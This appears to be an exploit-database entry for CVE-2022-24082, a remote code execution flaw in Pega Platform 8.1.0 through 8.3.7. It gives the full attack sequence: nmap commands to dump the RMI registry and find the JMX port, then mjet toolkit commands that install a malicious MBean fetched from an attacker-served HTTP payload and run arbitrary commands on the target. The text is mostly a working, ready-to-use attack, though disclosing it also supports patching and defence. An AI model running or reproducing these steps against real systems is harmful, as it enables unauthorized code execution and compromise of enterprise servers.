Pega Platform 8.1.0 – Remote Code Execution (RCE)
# Exploit Title: Pega Platform 8.1.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 20 Oct 2022 # Exploit Author: Marcin Wolak (using MOGWAI LABS JMX Exploitation Toolkit) # Vendor Homepage: www.pega.com # Software Link: Not Available # Version: 8.1.0 on-premise and higher, up to 8.3.7 # Tested on: Red Hat Enterprise 7 # CVE : CVE-2022-24082 ;Dumping RMI registry: nmap -sT -sV --script rmi-dumpregistry -p 9999 <IP Address> ;Extracting dynamic TCP port number from the dump (in form of @127.0.0.1 :<PORT>) ;Verifying that the <PORT> is indeed open (it gives 127.0.0.1 in the RMI dump, but actually listens on the network as well): nmap -sT -sV -p <PORT> <IP Address> ;Exploitation requires: ;- JVM ;- MOGWAI LABS JMX Exploitation Toolkit (https://github.com/mogwailabs/mjet) ;- jython ;Installing mbean for remote code execution java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP Address> 9999 install random_password http://<Local IP to Serve Payload over HTTP>:6666 6666 ;Execution of commands id & ifconfig java -jar jython-standalone-2.7.2.jar mjet.py --localhost_bypass <PORT> <IP Address> 9999 command random_password "id;ifconfig" ;More details: https://medium.com/@Marcin-Wolak/cve-2022-24082-rce-in-the-pega-platform-discovery-remediation-technical-details-long-live-69efb5437316 Kind Regards, Marcin Wolak |